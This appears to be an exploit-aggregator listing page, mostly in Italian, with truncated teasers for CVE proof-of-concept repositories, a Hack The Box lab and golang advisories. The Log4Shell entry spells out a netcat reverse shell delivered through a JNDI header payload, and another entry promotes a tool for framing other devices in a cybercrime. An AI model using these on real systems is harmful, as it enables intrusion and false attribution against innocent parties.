dinkleberry

Dinkleberry 🫐 Sei una delle 92,000+ persone1 bloccate con un NAS D-Link vulnerabile a CVE-2024-3272 e nessuna patch in vista? Questo strumento utilizza l'exploit stesso per correggere un dispositivo vulnerabile. 1: Vedi la divulgazione originale nei riferimenti Cosa fa Dinkleberry eseguirà un...

CVE-2021-29447

Ordem de instalação e execução 0. Executar docker root@kitploit: $docker-compose up 1. Executar wordpress.sh Antes de instalar o WordPress, configure o arquivo wp-config.php. root@kitploit: $docker exec -it -u root wordpress /bin/bash -c "/usr/local/bin/wordpress.sh" 2. Instalar o WordPress...

CVE-2020-0601

CVE-2020-0601 : sfruttamento della CVE CurveBall Questo script ruby può essere utilizzato per falsificare una legittima autorità di certificazione e generare un certificato che sarà considerato valido per i computer Windows affetti dalla vulnerabilità CurveBall. Devi procurarti un certificato...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc IP Pubblico Porta -e /bin/sh Converti in Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Sito Target -H "X-Forwarded-Host: $jndi:ldap://IP ReverseShell:Porta/Basic/Command/Base64/Payload in base64 Prova di concetto Log4j...

CVE-2025-29972

CVE-2025-29927 - Vulnerabilità di sicurezza critica in Next.js Panoramica CVE-2025-29927 è una vulnerabilità di sicurezza critica che colpisce Next.js , un popolare framework React per la creazione di applicazioni web full-stack. Questa falla consente agli attaccanti di bypassare i controlli di...

htb-labs-nexus

🏴‍☠️ HTB Labs - Nexus English 🇺🇸 | Español 🇪🇸 English | Español 📋 Panoramica Nexus è una macchina Linux di difficoltà Facile di Hack The Box che dimostra una catena di attacco multi-fase che coinvolge enumerazione di virtual host, credenziali esposte, funzionalità vulnerabili di applicazioni web,...

CVE-2024-41570-Havoc-C2-RCE

Havoc-C2-RCE CVE-2024-41570 Questa è una RCE concatenata CVE-2024-41570 nel framework Havoc C2. Iniezione di comandi: Havoc è vulnerabile all'iniezione di comandi, consentendo a un utente autenticato di eseguire comandi sul Teamserver. Interessa le versioni dalla 0.3 fino all'ultima release 0.6. ...

cve-2022-30525

CVE-2022-30525 di 1vere$k Rapid7 ha scoperto e segnalato una vulnerabilità che interessa i firewall Zyxel che supportano lo Zero Touch Provisioning ZTP, tra cui la serie ATP, la serie VPN e la serie USG FLEX incluse USG20-VPN e USG20W-VPN. La vulnerabilità, identificata come CVE-2022-30525,...

golang security, bug fix, and enhancement update

An update is available for golang. This update affects Rocky Linux 10. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list The golang packages provide the Go programming language compiler. Security...

golang security, bug fix, and enhancement update

An update is available for golang. This update affects Rocky Linux 9. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list The golang packages provide the Go programming language compiler. Security...

CVE-2022-30525

CVE-2022-30525 Zyxel firewall vulnerabilità di iniezione di comandi remoti non autenticata Componenti interessati USG FLEX 100, 100W, 200, 500, 700 USG20-VPN, USG20W-VPN ATP 100, 200, 500, 700, 800 Versioni firmware ZLD5.00 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21...

CVE-2026-54552

A flaw was found in sh, a Python library for process launching. When sh runs from an elevated process and launches a command with the uid option set to an unprivileged user, the child process may retain the parent process's supplementary groups. This incomplete privilege drop can allow the child...

Fastgate

TLDR Dies ist ein kurzer Bericht über eine Sicherheitslücke CVE-2019-12489, die beim Herumspielen mit einem Fastgate-Modem/-Router von Fastweb und Ghidra entdeckt wurde. Die Schwachstelle ermöglicht die Ausführung einer Befehlsinjektion über eine HTTP-Anfrage und kann genutzt werden, um eine...

ForgottenButNotGone

Dimenticati ma non scomparsi Questo repository contiene script proof-of-concept per le vulnerabilità presentate al talk "Dimenticati ma non scomparsi: RCE non autenticati e LPE in servizi Linux legacy" del Black Hat USA 2026 e del DEF CON 34. CVE-2026-28372 Escalation locale dei privilegi in...

CVE-2019-18845

CVE-2019-18845 Die Treiber MsIo64.sys und MsIo32.sys in Patriot Viper RGB vor Version 1.1 erlauben lokalen Benutzern einschließlich Prozessen mit geringer Integrität, beliebige Speicherstellen zu lesen und zu beschreiben, und dadurch NT AUTHORITY\SYSTEM-Berechtigungen zu erlangen, indem sie...

incriminator

Incriminator Incriminator è un progetto OpenSource con scopi educativi che ti permette di incriminare altri dispositivi durante un crimine informatico. Il progetto è ora alla versione 1.0 Se trovi un bug, per favore segnalalo. Grazie per aver scaricato... SOLO A SCOPO EDUCATIVO!!!!!!! Non sono...

CVE-2023-41425

CVE-2023-41425 Descrizione Una vulnerabilità di Cross Site Scripting in WonderCMS dalla versione 3.2.0 alla versione 3.4.2 consente a un attaccante remoto di eseguire codice arbitrario tramite uno script modificato caricato nel componente installModule. Questa è una versione modificata dell'explo...

Rabbit Hole

Panoramica Rabbit Hole fornisce un sottoinsieme molto limitato delle funzionalità di Maltego, focalizzato sulla creazione di rappresentazioni visive di informazioni per il Penetration Testing. Consente la creazione di vari tipi di nodi come indirizzi IP, porte, servizi, ecc. e collegamenti tra di...

CVE-2020-35391-POC

Benvenuto in CVE-2020-35391-POC 👋 Tenda N300 Bypass dell'autenticazione tramite header di richiesta HTTP malformato - POC in Python I dispositivi Tenda N300 F3 12.01.01.48 consentono ad attaccanti remoti di ottenere informazioni sensibili tra cui possibilmente una riga httppasswd tramite una...

CVE-2016-5195

记录仅以学习为目的，禁止用于非法用途 原理 该漏洞的原理是依靠并发刷写脏页，使原本只读权限的文件内容发生变更 如果被修改的文件为root所属且具备SUID权限，那么就可以利用其进行提权 影响范围 在2016年10月前被编译的且版本在2.6.22 到 4.8.3之间的内核，因为2016年10月后的大概率被打补丁了 务必是Ext文件系统，如果是XFS文件系统，就会触发xfs只读页断言，而后系统重启，变成DDos攻击了 工具代码（dirtycowfilepayload.c） root@kitploit: include include include include include inclu...